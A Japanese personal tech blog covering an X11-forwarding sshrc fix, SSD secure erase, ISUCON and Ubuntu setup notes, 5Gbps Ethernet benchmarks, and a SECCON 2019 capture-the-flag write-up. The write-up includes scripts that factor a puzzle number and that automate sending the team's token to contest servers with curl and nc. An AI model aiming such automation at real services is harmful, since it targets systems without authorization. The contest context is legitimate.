sshrc の内容に関するメモ: Xforward で必要

ssh で X 転送しようとすると次のようなエラーが出て困っていた。ぐぐってもよくわからなかった。

PuTTY X11 proxy: Unsupported authorisation protocol

原因は色々あるようだがググって出てきたものがなかなか当てはまらなかった。別サーバと比べたりしていたところ、 .ssh/rc を置いている場合、 /etc/ssh/sshrc が呼び出されないため、この内容がないと困ることがわかった。man sshd すると SSHRC の項に説明とサンプルファイルがあり、これが .ssh/rc を置いていることに阻害されていただけだった。.ssh/rc に man の内容に従って xauth 関連の記述を追記すると繋がった。

Win10 で使っていた SSD (Crucial MX200)の完全消去でハマった

Crucial MX200 SSD を ThinkPad W550s で、 Windows 10 Pro で使用していたが、新しい PC を買った後しばらく経ち、 Ubuntu MATE に入れ替えようと思ったため、一旦 SSD のデータを消去しようとした。その際、ハマったのでメモしておく。

まず、 SSD の secure erase はハードディスクと異なり、 SSD に対してコマンドを発行することで行えるようだ。それ自体の手順は Solid state drive/Memory cell clearing – ArchWiki に記されている通り、一度 hdparm でパスワードを設定した後、 hdparm で –security-erase オプションを使用すればよいようだ。frozen 状態に注意するよう注意書きがあった。SSD はハードディスクと異なり使用中の領域かどうかを管理しているようなので、性能上も security erase して使うのが一番良いように思えた。

しかし、今回の SSD では、これをしようとすると、エラーが出た。エラーの内容は記録するのを忘れてしまったが、コマンドの実行で何かバッファでもあふれているかのような、怪しいエラーメッセージだった。その時ウェブ検索していた内容から見るに、bad/missing sense data といったことが書いてあったようだ。この時開いていた、hard drive – hdparm error: SG_IO: bad/missing sense data – Super User の質問のエラーメッセージ(以下に引用)と同じようだ(数字の羅列が一致するかはわからない)が、状況は違うように思えた。

sda:  Issuing SECURITY_SET_PASS command, password="PASSWORD",
user=user, mode=high SG_IO: bad/missing sense data, sb[]:  70 00 05 00
なお先の ArchWiki で書かれている frozen かどうかは、それらしい行がこの時は見当たらなかった。そもそも、Security の項がなかった。

また、先頭 593MB は読み書きできるものの、それ以上は Input/output Error で読み書きできない(dd if=/dev/sda of=/dev/null bs=1048576 count=1000 で簡単に確認できた)現象にもなり、削除せずに使い続けることもできなかった。

色々調べた結果、忘却の彼方: Crucial M500/M550/MX100とSecure Erase に、 Windows 8 以降ではいくつかの SSD において、ディスクのセキュリティ機能を変更できなくなるような修正を加えており、 PSID を復旧すると元に戻る旨が書かれていた。特に今回は BitLocker を使っていた端末でもあり、暗号化された領域にロックがかかっていたりしても不思議ではないように思えた。

結局のところ、 PSID をリセットする操作が必要であり、これを行うと無事に他の操作も行えるようだ。Crucial の SSD であったので、 Crucial Storage Executiveをインストールしたパソコンに、 USB-SATA で当該 SSD を接続し、「PSID を元に戻す」を押すと、データが消去される旨が表示され、その後無事 SSD を利用することができた。hdparm -I でも Security: の項目に frozen かどうか、表示されるようになった。security erase も ArchWiki の手順で成功した。

ISUCON 10 予選に参加した

いつものようにチームワイハリマで ISUCON 10 予選に参加していた。今回はいつもにもまして手も足も出ない状態だった。

今回は競技に関するルールが事前に公開され、当日の競技開始と同時に ISUCON10 予選マニュアルが公開された。

今回は競技開始後もなかなかサーバに入れなかったり、ポータルが終始不安定でベンチマークも運が良い時しか走らせなかったりした。まずはざっくり画面を操作して機能を把握したうえで、ベンチマークが走るようになったら重いクエリがどこにあるかなど、徐々に詰めていった。また、サーバは 3 台与えられた。EPYC 1vCPU, RAM 1GB なのは良いとして、ディスクが 10GB なのが目に付いていた。

まずは目に付いたいくつかの重い検索クエリを軽くしようと、インデックスを色々張ってみたり、 SQL の外で実行しようとしたり、そもそもウェブアプリケーションの外で実行しようとしてみたりしたが、特段速くはならなかった。SQL が詰まっていたので専用サーバにしたことも、効果を発揮しなかった。recommend では条件が 6 つ OR で繋がっているのを、データの入力を工夫して一つにまとめてみたが、これもうまくいかなかった。

検索が重いことが分かっていたので、レプリケーションを行って検索系クエリを逃してみたが、却って遅くなった。3台のマシンすべてを使うことで CPU 使用率が 100% のマシンはなかったが、全体に CPU 負荷があまりかからなかった。レプリケーションを有効にするためにバイナリログを有効にしたが、これが問題になったようだ。後で考えてみれば、ディスク 10GB に目がついていたが、このディスクが低速で(今となってはわからないが、 SSD ではなく本当にディスクだったのだろうか)書き込みもそれなりに詰まっていた可能性がある。

また今回は、いくつかの最適化を試みた時から、互換性を失わないと思われる変更でベンチマークが通らなくなる現象にも苦しんだ。json_encode 周り及び、 PDO から SQL の結果を受け取る時に独自のクラスで受け取るもとの実装について、どこがしかの挙動を変えてしまったようだが、デバッグログの出し方がわからなかったこともありデバッグには終始時間がかかっていた。

もともと PHP 実装を選択した後一度も Go の初期実装スコアを超えていないことに加え、最終的にはベンチマークでの互換性テストすら通らない状態となり、 0 点となった。高速化視点での実力不足とは別にも、色々と反省すべき点を整理したほうが良さそうだ。

Ubuntu MATE 20.04 を GPD Pocket 2 にインストール

Ubuntu MATE 20.04 を GPD Pocket 2 にインストールした。

まず、 Ubuntu MATE のダウンロードページには GPD 用のイメージは 20.04 はなかったので、標準イメージの 20.04 をダウンロードした。これを Rufus で USB メモリに焼いてインストール。WiFi は最初から見えているので、とりあえずインストールは通常通りの手順で行える。画面は 100% スケーリングかつ X 起動後は向きもおかしいが、とりあえず首を90度傾けてどうにかする。

インストール後、実際に使えるようにいくつか追加していく。Ubuntu MATE 18.04 の UMPC ポートのページを見るに画面、タッチパネル関係が主のようだ。WiFi はこのページで言及されているが、 Ubuntu MATE 20.04 と GPD Pocket 2 の組み合わせではそのまま認識した。ファンコントロールはリンク先の GitHub のコードを見る限り OS 組み込みのように見える。GRUB などの、 X 起動前は、なにもしなくとも正しい向きで表示されるようだ。

なので、さきほどのページからリンクされている https://github.com/wimpysworld/umpc-ubuntu のリポジトリから必要な項目だけを持っていくことにした。

まずは X 起動後に画面が 90 度傾いていることを解決する。画面が傾いているだけなら GUI から画面設定をいじればよいが、それだと今度はタッチパネルが 90 度傾いた状態で作動し、よくわからない状態になる。加えて GUI から画面設定を修正した場合はログイン前の画面などが直らないため、今度はログイン前にタッチの場所がずれることになる。なので、両方設定ファイルを修正するのがよさそう。先ほどのリンクから 40-gpd-pocket2-monitor.conf を /usr/share/X11/xorg.conf.d/ に、 99-gpd-pocket2-touch.rules を /etc/udev/rules.d/ にコピーし、再起動すると画面の向きは正常になった。

DPI を上げる設定はいくつか方法があるようだ。ただし、 Ubuntu 20.04 から正式導入された fractional scaling の機能は、検索した限りだと MATE に来ている様子はなかった(少なくとも見つけられなかった)。100% だと小さすぎるが 200% だと大きすぎる場合、ほかの方法は、そもそも実際より小さな解像度に見せかけるか、 xrandr で実際より大きな解像度でレンダリングして HiDPI 扱いで 200% にする Mac の Retina ディスプレイみたいなやり方か、 テキストの DPI 設定だけ大きくする(GUI で設定可能)か、といったあたりのようだ。HiDPI – ArchWiki にだいたい載っていた。とりあえず、いくつかの UI 部品が小さく表示されるものの、それ以上に厄介な問題を生じにくそうなテキストだけ DPI を GUI の設定画面で大きく設定することにした。

Firefox でタッチパネルを使うとスクロールすらできない問題が起こった。これは MOZ_USE_XINPUT2=1 という環境変数を入れることで、 Firefox 側の設定を変更し、正しく動作させることができたので、 ~/.xsessions に設定した。

純粋な CUI の文字サイズが小さい点は実用上どこまで問題になるか不明だが、一応先ほどのリポジトリを参考に、 /etc/default/console-setup の FONTSIZE を 8×16 から 16×32 に変更した。

ほぼタッチパネル液晶周りしかいじっていないが、ハードウェア依存な部分は一旦これで使い始められそうだ。解像度回りを考えると素の Ubuntu の方が楽かもしれないが、致命的ではないので、ひとまずは好みを優先して Ubuntu MATE でしばらく使ってみることにする。

(追記)99-gpd-pocket2-touch.rules は MATE じゃない素の ubuntu-desktop で使う場合は不要というかあると回転が狂うようだ。この 9 つの数字は3次元の回転行列のようなので、単位行列、すなわち 1 0 0 0 1 0 0 0 1 を入れたときに素の Ubuntu では正しく、今度は Ubuntu MATE では正しく回転が認識できない状態になる。

色々試した結果、 99-gpd-pocket2-touch.rules は有功のまま、さらに次のコマンドを打つとどちらからでも正しくタッチパネルが使用できる状態になった。これを GUI から Startup Application に登録したところ、ログイン前の MATE の画面、ログイン後の MATE の画面、ログイン後の ubuntu-desktop の画面がすべて正しくタッチできるようになった。

xinput set-prop 'pointer:Goodix Capacitive TouchScreen' 'Coordinate Transformation Matrix' 1 0 0 0 1 0 0 0 1

(追記)音が鳴るようなタイミング(通知音が鳴るようなタイミングや、ブラウザで動画の再生が始まった時)で、たとえスピーカーをミュートにしていてもスピーカーから「カッ」という音がする現象があった。確認できていないが個の挙動としてはそもそも使わない間はスピーカーの電源を切っているのだろうか。Popping sound on speakers when starting 19.3 (Solved) – Linux Mint Forums の記事を見ると省電力設定を解除しているようだ。lsmod を見るとこの端末もこの記事の設定ファイルと同じ snd_hda_intel を呼び出しているようだったので、/etc/modprobe.d/alsa-snd-hda-intel.conf を次の内容で作成して再起動すると直った。

options snd-hda-intel power_save=0

USB – 5Gbps Ethernet アダプタを買ってきた

業務外での技術力向上支援の会社の補助金で、 USB – 5Gbps Ethernet アダプタをいくつか購入し、まずはざっくり普通に繋ぐとどうなるのか試してみたのでメモ。

買ったもの

10G/5G アダプタ

以上の4つ。Solo10G のみ Thunderbolt 接続で 10Gbps だが、他が USB 接続で 5Gbps。なので今のところ、 10Gbps で繋がる相手がいないので、今回はすべて 5Gbps として使用。

ドライバ

Solo10G については 、 Windows 版のドライバをインストールして使用した。Solo10G ドライバとしてダウンロードしたものが、実際に起動したものは Aquantia のドライバインストーラだった。QNAP QNA-UC5G1 と、 StarTech.com のものは、いずれも Windows 10 では OS 標準か Windows Update かでドライバが入った。

Linux には USB の二機種(QNAP、StarTech.com)を接続したが、いずれも Aquantia 製のコントローラが入っているようで、 aqc111 というドライバが提供されている。ただし、 Linux 5.x には標準に同梱されているが、 Linux 4.x だと入っていないのでそのままでは他のドライバが適用される。また、 Linux 5.x 標準のものと、 AQ_USBDongle_LinuxDriver_1.3.3.0.zip (QNAP のウェブページよりリンクされていた、Marvell のサポートページよりダウンロード)で提供されているものは両方 aqc111 という名称で、かつ後者を解凍して出てくる README にも aqc111 Linux 5.x に同梱されているとの表記があるが、 ethtool で見ることができる項目が若干後者の方が多い(Low Power 5G と Thermal throttling が設定可能になる)など、若干の差があるようだ。

Linux 4.x の搭載ドライバ(試した環境は Ubuntu 18.04)でも、 1Gbps を超える転送が可能であり、接続相手からも 5000Mbps リンクとして認識されていた。ただし、ジャンボフレームを有効にした際に、大きなパケットを受信すると以後通信ができなくなるという問題があった。Linux 5.x (Ubuntu 20.04)にすると問題なかった。

クライアント-サーバー直結での性能測定

転送速度については、まずは Solo10G (ThinkPad X1 Extreme (Core i7-8750H 2.20GHz、 Windows 10 1909) に接続) と QNAP QNA-UC5G1T (DS77U5 (Core i5-7200U 2.50GHz、 Ubuntu 18.04/20.04) に接続)をケーブルで直結して測定した。

iperf で接続したところ、まず初期設定の MTU=1500 で、 iperf の並列度も上げずに試したところ、 2.1-2.3Gbps 程度だった(この時は Ubuntu 18.04)。この状態で、 QNAP 側を USB パススルーで Ubuntu 20.04 に見せるようにすると 1.1Gbps 程度まで下がった(これについては qemu のバージョンアップなどでも改善するようで、 Ubuntu 20.04 だと 2.0-2.5Gbps 程度出た)。

この後、 MTU=9000 に変更すると、その時のベンチマークでは iperf の並列度が 1 のままでも 3.63Gbps という転送速度が出た。ただし、前述の 4 系カーネルバンドルのドライバではジャンボフレーム受信が正常に行えない問題により、片方向しか通信できなかった。

さらにここまでの試行錯誤(主にジャンボフレームでトラブっていた時)で、 Solo10G のデバイスマネージャーの設定値で、 Large Send Offload V1, V2 の IPv4 の値をいじっている。結局、これは Disable のほうが当座の iperf でのスループットが出そうなので、今回の調査切ることにした。ただし、 iperf 側で並列化させない直列の転送速度でアプリケーション側込みだと Large Send Offload 有効のほうが速そうに見えたため、この辺りはよく確認したほうがよさそう(まだ詳細は調べていない)。そもそも、普通にしていて遅くなるようなものなら通常は offload しないだろうし。

ここからは、クライアント-サーバー直結での測定は次のような環境で試している。

  • Sonnet Solo10G, ThinkPad X1 Extreme, Core i7-8750H 2.20GHz, Windows 10 1909
  • QNAP QNA-UC5G1T, DS77U5, Core i5-7200U 2.50GHz, Ubuntu 20.04, Ubuntu 同梱 aqc111 ドライバ
  • MTU=9000 (Windows のプロパティの Jumbo Packet では 9014 Bytes)
  • Windows 環境では Large Send Offload V1, V2 (IPv4) を Disable
  • この前の段階でも iperf の並列度(-P) 1 で 3Gbps を超える速度が出たりしていたが、同じ条件でも再度試すと出なかったり、疑問だったので、この条件を決めてからは iperf の並列度は合計の速度が上がらなくなるまで上げる

この状態で、とりあえず 3.4Gbps 程度までは出せることがわかった。USB 側との接続も 5Gbps となるため、そちらで詰まれば製品としての上限がこのあたりに来る可能性はあるが、そこまでは確認していない。

nhirokinet@ds77u5:~$ iperf -c 192.168.150.2
------------------------------------------------------------
Client connecting to 192.168.150.2, TCP port 5001
TCP window size:  715 KByte (default)
------------------------------------------------------------
[  3] local 192.168.150.3 port 34642 connected with 192.168.150.2 port 5001
[ ID] Interval       Transfer     Bandwidth
[  3]  0.0-10.0 sec  4.00 GBytes  3.44 Gbits/sec
nhirokinet@ds77u5:~$ iperf -c 192.168.150.2
------------------------------------------------------------
Client connecting to 192.168.150.2, TCP port 5001
TCP window size:  812 KByte (default)
------------------------------------------------------------
[  3] local 192.168.150.3 port 34646 connected with 192.168.150.2 port 5001
[ ID] Interval       Transfer     Bandwidth
[  3]  0.0-10.0 sec  3.84 GBytes  3.30 Gbits/sec
nhirokinet@ds77u5:~$

また、全二重でも速度が出せるようだった。

ちなみに、 USB パススルーでの転送速度は、 Ubuntu 18.04 -> 20.04 で qemu のバージョンが上がっていることもあり、改善されたが、片方向で 2.0-2.5Gbps、双方向同時ならそれぞれ 1.5-1.7Gbps (あわせて 3Gbps 強)というところだった。

Ubuntu でのパケットの中継

Ubuntu をスイッチとして使ったような場合に、性能上限が変わってくるのか、といったあたりを見たかったため、簡単に試した。

環境は

  • Sonnet Solo10G, ThinkPad X1 Extreme, Core i7-8750H 2.20GHz, Windows 10 1909
  • StarTech.com アダプタ x 2、 DS77U5, Core i5-7200U 2.50GHz, Ubuntu 20.04, Ubuntu 同梱 aqc111 ドライバ
    • Linux 標準のブリッジにより libvirtd 上の仮想マシン(qemu+kvm, 3vCPU, Ubuntu 20.04)に NIC を見せる
    • 二つの StarTech.com は DS77U5 親機側では別物として扱ってブリッジも別々に作り、パケットの転送は VM 側で行う
  • QNAP QNA-UC5G1T, ThinkPad W550s, Core i7-5600U 2.60GHz, Windows 10 1909
  • MTU=9000 (Windows のプロパティの Jumbo Packet では 9014 Bytes)
  • Windows 環境では Large Send Offload V1, V2 (IPv4) を Disable
  • この前の段階でも iperf の並列度(-P) 1 で 3Gbps を超える速度が出たりしていたが、同じ条件でも再度試すと出なかったり、疑問だったので、この条件を決めてからは iperf の並列度は合計の速度が上がらなくなるまで上げる
  • この条件で、 ThinkPad X1 Extreme – Sonnet Solo10G – StarTech.com アダプタ1 – DS77U5 – StarTech.com アダプタ2 – QNAP QNA-UC5G1T – ThinkPad W550s と接続し、 DS77U5 上の VM で 3Gbps 程度でのパケット転送が可能か、試した。

    まず、/etc/sysctl.conf に

    net.ipv4.ip_forward = 1
    

    を追記し、 sysctl -p /etc/sysctl.conf を実施して反映して、別々のサブネット間をそのまま転送したところ、並列度を挙げれば 3.5Gbps 程度まで達した。

    次に、

    iptables -t nat -A POSTROUTING -o ens9 -j MASQUERADE
    

    (ens9 はここでは iperf -s をしているマシンと繋がっている NIC)を実施して、最低限の NAT を行うようにしたところでも、やはり並列度を上げると 3.5Gbps 程度まで達した。3vCPU を付しているものの、 VM の top で見たところでは、(3vCPU 全体を 100% とみなした割合で)3Gbps 以上で NAT 中でも idle が 95% 以上となっていた。

    もちろんこれではファイヤーウォールとしての機能は弱く、ここから iptables の設定を増やせば速度の低下は予想されるものの、この結果からは、ここで購入した機器を利用して、i5-7200U と同等かそれ以下のマシンを利用し、 3Gbps 以上のパケットを転送することができる可能性がありそうに思える。

    SECCON 2019 国内本選 writeup

    チーム「yharima」で、 SECCON 2019 の国内本選に出ていた。結果は 7 位。僕自身は、比較的解きやすい問題に手を付けたものの、それでも難易度が高くなかなかに手が出せる箇所が少ない状態が続いていた。解いたものについて write up。

    Factor the flag

    大きな数が一つ書いてあり、「大きな素数の中にフラグを隠した」と問題文が主張しているので、まずは素因数分解を試みた。13 と 97 で割れたが、その後残った数字の約数はざっくり探した範囲だと見つからなかった。factordb は「Probably Prime Number」という判定になっており、ほとんどの桁が 1 か 9 で例外は最後の 3 桁のみだった。

    色々試みたものの、数全体をバイナリと解釈したり 1 と 9 を二進数の二文字とみなしたりしても “SECCON{” に当てはまりそうな解釈の仕方も見当たらなかった。ふと、 9 がたいてい何回か連続していて 9 が妙に少ないことなどが気になったのと、テキストエディタで狭目の幅で開いたりすると微妙にパターンがありそうに見えたので、 1 と 9 は白と黒として解釈することを試そうと思い、幅を変えながら 1 をスペース、9 を # にして表示していくと、途中でフラグが出てきた。

                                                                                                     |
                                           ##                                                 ##     |
     ###  #####  ###   ###   ###  #   #   #   #####  ###    ##   ###   ###  #####       ####    #    |
    #   # #     #   # #   # #   # ##  #   #   #     #   #   ##  #   # #   #     #       #   #   #    |
    #     #     #     #     #   # # # #   #   #     #   #  # #  #   # #   #    #        #   #   #    |
    #     #     #     #     #   # #  ##   #   ####      #  # #      #  # #     #  ####  #   #   #    |
     ###  ####  #     #     #   # #   # ##        #    #  #  #     #    #     #   # # # ####     ##  |
        # #     #     #     #   # #   #   #       #   #   #  #    #    # #    #   # # # #       #    |
        # #     #     #     #   # #   #   #   #   #  #    #####  #    #   #  #    # # # #       #    |
    #   # #     #   # #   # #   # #   #   #   #   # #        #  #     #   #  #    # # # #       #    |
     ###  #####  ###   ###   ###  #   #   #    ###  #####    #  #####  ###   #    # # # #       #    |
                                           ##                                                 ##     |
    
    import sys
    import math
    
    
    num=1401111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111222079111111111111111111111111111111111111111111111222079112230890319889030880230880230889200120012002319889030879222080230880230890319887911122318879211992120012999912120013000013000013100892001200119912120012002208920013000011991211991112120012001199211991211991211991211991212001301010000120011991212001209300092001300001199211991111212001200119921199121199121199121199121200130010208012002318879112120929999112120929999121210318889200120011991223089031888919912119912120013000013100791111211992120920919912119921199121200130101111887912220791121299991211991211991212001300001200119911121200120012091992119921299992120013010099991112119911112129999121199121199121200130000120012001200120919922319888919921200120919921301009999111211992120012999912120013000013000013000012001200120012999911112120919912120012091992130100999911121199122308903198890308802308802308892001200119922308903198879212103198890308801199213010099991112119911111111111111111111111111111111111111122207911111111111111111111111111111111111111111111122207911111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111239593
    
    i = 1
    while num != 1 and i < 100000:
        i += 1
        while num %  i == 0:
            print i
            num = num / i
    
    cand_ramaining = -1
    
    for i in range(0, 256):
        if (i * ord('}')) % 256 == num % 256:
            cand_remaining = i
    
    #print cand_remaining
    print num
    
    s = str(num)
    
    for i in range(2,len(s)):
        print i
        for j in range(1,len(s)):
            if s[j] == '9':
                sys.stdout.write('#')
            else:
                sys.stdout.write(' ')
    
            if j % i == 0:
                sys.stdout.write('|\n')
        a = raw_input()
    
    num2 = 0
    while num > 0:
        d=0
        if num % 10 == 9:
           d=1
        num2 = num2 * 2 + d
        num /= 10
    
    num2 = num2 / 128
    a = []
    while num2 > 0:
        a.insert(0, num2 % 256)
        num2 = num2 / 256
    
    #for i in range(0, len(a)):
    #    sys.stdout.write(chr(a[i]))
    exit()
    
    lo = 1
    hi = num
    
    while lo < hi:
        mid = (lo + hi ) /2
        if mid * mid == num:
            lo = mid
            hi = mid
            break
        if mid * mid < num:
            lo = mid + 1
        else:
            hi = mid - 1
    i = hi + 1
    
    while num != 1:
        while num %  i == 0:
            print i
            num = num / i
        i -= 1
    

    syzbot panic

    基本的に syzbot 関係の問題が書いてあり、 Q1 – Q5 の答えをつなぎ合わせたものがフラグ、という問題。Q1 は syzbot 自体の管理アプリの URL (の FQDN)を答える問題で、 Q2-Q5 は syzbot で見つけたバグや syzbot 自体に当てられたパッチのハッシュの先頭 10 文字を答える問題。

    Q1 は syzbot で検索すると https://syzkaller.appspot.com/ にあるようだったが、 https://www.syzkaller.appspot.com/ にもヒットした。ただし、 www. がついている方がサーバが見た目としては FQDN っぽさはあるものの、後者は TLS 証明書が正しく認識できず、ドメイン名自体は前者の方が正しいと言えるように思えた。

    フラグの形式が SECCON{$answer_for_Q1+$answer_for_Q2+$answer_for_Q3+$answer_for_Q4+$answer_for_Q5}と示されており、これが 73 文字と示されていた。Q2-Q5はそれぞれ git のハッシュの先頭 10 文字なので、数えてみると syzkaller.appspot.com が正解なら “+” は必要、 www.syzkaller.appspot.com が正解なら “+” は結合を示すために書いてあるだけで不要ということになる。+ は直観的には書かないのではないかと思っていたが、わざわざ $ で、文字列に埋め込める変数名っぽい書き方をしているあたりどちらの可能性もあった。結局、二通りならどちらも試せばよいか、ということで提出する時に考えることにした。結論としては syzkaller.appspot.com にして、 + はつける、が正解だった。

    Q2 はマルチスレッド環境下でカーネルのメッセージを正しく読めないものに対する、 Tetsuo Handa 氏によるパッチのハッシュを答えよ、というものだった。

    最初に 検索すると LKML に LKML: Tetsuo Handa: Re: [PATCH] x86: Avoid pr_cont() in show_opcodes() という投稿が出てきて、これがあてはまりそうだと判断していた。その後 Q4 について調べているときに、セキュリティ・キャンプ全国大会2019 解析トラック E5 The SYZBOT CTF 2019.8.5 という記事に関連する記述があることを見つけ、特に Q4 も Tetsuo Handa 氏が関わっている話題であることがわかったこともあり Q2, Q4 ともこの記事の関係者による作問であることが推測できた。

    そのため、 Q2 は x86: Avoid pr_cont() in show_opcodes() · torvalds/linux@8e974b3 のパッチを当初はフラグとして送ろうとしたが、不正解だった。調べなおしたところ、 kernel/git/torvalds/linux.git – Linux kernel source tree に直したら通った。

    Q3 についてはなかなかよくわからなかったが、他の Q について調べている間に他のチームメンバーが BUG: workqueue lockup (2)kernel/git/torvalds/linux.git – Linux kernel source tree が関連しそうとのリンクを見つけて Discord に貼ってくれたので、これで提出した。

    Q4 については Q2 で挙げた セキュリティ・キャンプ全国大会2019 解析トラック E5 The SYZBOT CTF 2019.8.5 が見つかり、これの 6.1 章のリンク先から Re: INFO: task hung in __sb_start_write – Tetsuo Handaprog: sanitize calls after hints mutation · google/syzkaller@06c33b3 に辿り着き、このコミットで提出した。

    Q5 については struct とか syzbot とかのキーワードで色々検索していた結果、 LKML: Dmitry Vyukov: Re: BUG: unable to handle kernel NULL pointer dereference in mem_serial_out というページが見つかり、 Q2 や Q4 と同じく Tetsuo Handa 氏によるメールが出てきたうえに当該の原因の特定はわずか数日前の新鮮なネタであることがわかった。リンク先の https://github.com/google/syzkaller/blob/master/sys/linux/dev_ptmx.txt.warn#L20-L25 自体は該当部分ではなかったものの、ここ一週間とかのことのようなので、この syzkaller リポジトリのコミット履歴を新しいほうから見たところ、 tools/syz-check: add description checking utility · google/syzkaller@64ca0a3 が見つかった。これで提出。

    SECCON{syzkaller.appspot.com+15ff2069cb+966031f340+06c33b3af0+64ca0a3711}

    壱(1)

    Jeopardy 以外の問題は記憶の限りでは名前はなく、番号だけだったが、一度 TCP に繋いだ後 UDP のパケットを指示に従って送り続ける問題。

    問題のサーバのチームごとに一位に定まるポート番号(yharima チームは 25000)に接続する案内と、プロセスのバイナリが置いてあり、問題文に「全チームが点数を得られなくなった場合とトラブルを除いて、チームのサービスプロセスがおかしな状態になってもプロセスは再起動しない」旨の警告があった。

    実際に 25000/tcp に接続すると、トークンを聞かれ、適当に答えると次につなぐべき(今度は UDP の)ポートを案内された。またこの時点で、 Attack Flag は降ってきた(Attack Flag: SECCON{P13453 +4K3 C4R3})。しかし、一度繋いでポート番号を得るとそのチームは次に 25000/tcp に繋いでも何も出ないようだ。

    案内された次に繋ぐべき UDP ポートにトークンを送るとまた次のポートが案内され、しばらく手動で繰り返すと “You Lose!” という案内が来た。

    バイナリを読んでいた yuta1024 とこの話をしていたところ、どうやら制限時間があるようだった。

    しかし、このプロセス、一度他のポートで待ち受けている状態になると 25000/tcp では繋がりすらせず、さらに言えば You Lose! のあとも(この時点で逆アセンブリされたコードを読んだ yuta1024 は You Lose! のあとは元に戻るはずと言っていたし、後から Hopper で逆アセンブルした僕が見ても元に戻るはずだと判断したが、この時は何が起こっているかわからなかった)一切応答がなくなって何もできなくなった。再起動はしない、の警告の理由がようやくわかったが、要はどうにもならないのか、とこの時は判断した。しかし、しばらく放置するとなぜか接続が復活した(今から考えればプロセスが再起動されていると判断されることが、これに限らず何度かあったが、条件は謎)。ただ、どういう条件で復活するのかは全くわからなかった。幸い、 25000/tcp が割り当てられたチームに対しては 25000-25999 の udp しかこないことだけはわかった。

    とはいえ、偶然の復活に期待して進めていたところ、ある程度自動化して20秒(これが繰り返すと縮まることを、この時はまだ知らない)以内に10回返信すれば、最初に指定したトークンが Defense Flag (5分ごとにチームごとの Defense Flag が特定の場所にあるかチェックされ、特定の場所に含まれていると点数が入る。チェック作業が完了するとチームごとに書き込むべき Flag は変更される。これ自体は参加者全員に対し、全チーム分が公開情報。)として追記される。すなわち、解き方自体は、「自分のチームの Defense Flag を取得し、それを認証トークンとして 25000/tcp に投げたあと、指示されるポートに投げては返信されるポートに追随する」を繰り返すことであることがわかった。ただし、一日目はサーバの状態を見失い、できることがなくなった。

    二日目の開始時刻である 10:00 になり、一度でもおかしなことをすると二度と解けなくなるリスクを認識していたのでプロセスが不完全な状態でパケットを投げることを恐れてしばらく待ってからここまでの成果を投げたところ、これはうまくいった。しかし、しばらくするとこれも動かなくなっていた。いつの間にか制限時間が20秒から1秒になっていた。結局色々追うと、プロセスが生きている限り一度繋ぐたびに制限時間が1秒ずつ減る(1秒になったらそれ以上は減らない)ようだった。

    また、見失う現象についてもわかったことがあった。 25000/tcp で accept して、次のポートを案内した後は、 10 回謎ポートでトークンつきでノックするまで 25000/tcp で次の accept をしないので、変なパケットがサーバ側のキューに残っているとクライアント側でまた新規受付扱いされてしまい、10 回謎ポートをやり直ししないといけなかった。幸い、 25001-25999 であることはわかっていたし、運よく再度つながる状態に戻ったタイミングの繰り返しで培った謎ノウハウでトークンもローカルのファイルに都度保存するようにしたので、 25001-25999 の全ポートにトークンを投げつつ一度でもヒットすればあとは次のポートへの接続をする「復活スクリプト」も温まってきた。偶然失敗したがポート番号だけはわかっている場合用に、もっと速いスクリプトも用意した。少しミスしただけでも 1000 ポートに対する試行、しかも失敗した時点での Defense Flag の候補が複数ある場合はその数だけ試す必要があるが、それでも手も出せない状態と違って自力で復活を試みれた。

    ただし 1 秒の制限は結局突破できなかった。2秒になるまでは進んだし、その状態でローカル計測で運が良ければ 0.9 秒までは短縮できたものの、実際にそれで 1 秒制限を通すことはできなかったようで、制限が 1 秒になってからは一度も突破できなかった。

    CTF オンサイト会場は東京の秋葉原にあり、チームに割り当てられた IP アドレスはオンサイト会場に設置されたチーム用のルーターから接続する必要があった。一方でこの LAN からインターネットに出た場合のグローバル IPv4 アドレスは whois でも SAKURA-ISHIKARI という netname がついており、 CTF のサーバもこの部屋のネットワークの経路も何もかも北海道石狩市にあることが容易に想像できた。この問題のサーバへの RTT も 20ms を超えており、加えて前のポートへの接続で次のポート番号を経てから 59ms 程度 sleep しないと次のポートへの接続が失敗することがある(次のポート番号を送ってから、実際に bind するまでに時間がかかる。UDP のためクライアント側もそれに気づかない。短めでも毎回は起こらないが、なんとか一度も起こさず通せると判断したラインがローカルでは 59ms だった)ことも試行でわかり、それだけで 10 往復で 0.9 秒以上かかるのでかなり絶望的だった。何度かローカル計測で 0.95 秒未満までは達成した気がするが、結局のところ、ラップトップの省電力を解除したり、仮想マシンのネットワークを NAT からブリッジに切り替えたりしても、ついに 1 秒制限で実際に通すことはできなかった。シェルで書いていたかつ失敗の復旧に時間がとられていて C 言語への書き換えなどの作業をするどころではなかったが、何らかの書き換えを行い、投機的にパケットを何度か投げて全部のパケットを後から回収すれば 1 秒制限でも可能性はあったかもしれない。そしてそうこうしているうちにうちのチームのサーバがおかしな状態になり、どの defense flag を token としているうちにおかしくなったのかもよくわからなくなり色々試しているうちにコンテストが終わってしまった。

    最終的に使った(2秒制限までは通ったが、1秒制限は通らなかった)コードは以下の通り。

    #!/bin/bash -x
    
    sync
    
    # PHPSESSID は今となっては何の価値もないセッション ID のはずではあるが、コンテストの説明で何度もスコアページの権限を厳重に管理するよう何度も二か国語で説明があったので、コンテストの趣旨に則り伏せた。
    defense_key=$(curl -b 'PHPSESSID=CENSORED' http://score-dom.seccon/flagwords/ | grep yharima | grep -v 'Team Name' | sed -e 's/<th>yharima<\/th><td>//' -e 's/<\/th><\/tr>//')
    
    echo $defense_key
    echo $defense_key >> defense_keys.txt
    
    echo $defense_key | timeout 2 nc 10.1.1.1 25000 > output.txt
    cat output.txt
    cp output.txt output2.txt
    cat output.txt >> output_all.txt
    
    port=$(cat output.txt | grep 'first port is' | sed -e 's/^.*first port is //' -e 's/, time .*$//')
    echo $port
    
    start_time=$(date +%H:%M:%S.%N)
    
    while true
    do
      flag=F
      for i in 1 2 3
      do
        portstr=$(echo $defense_key | timeout 0.11 nc -u 10.1.1.1 $port | dd bs=18 count=1)
        #echo $portstr >> /dev/shm/output_all.txt
        if [ "a$portstr" != "a" ]
        then
          break
        fi
        echo -e '\e[31mRETRY\e[m'
      done
      port=$(echo -n $portstr | tail --bytes +14)
      echo $port
      if [ "x$portstr" = "x" ]
      then
        echo -e '\e[31mSURVEY NEEDED\e[m'
        exit 1
      fi
      if [ "$portstr" = "You Won!" ]
      then
        echo $start_time
        date +%H:%M:%S.%N
        echo -e '\e[32mSUCCEEDED\e[m'
        exit 0
      fi
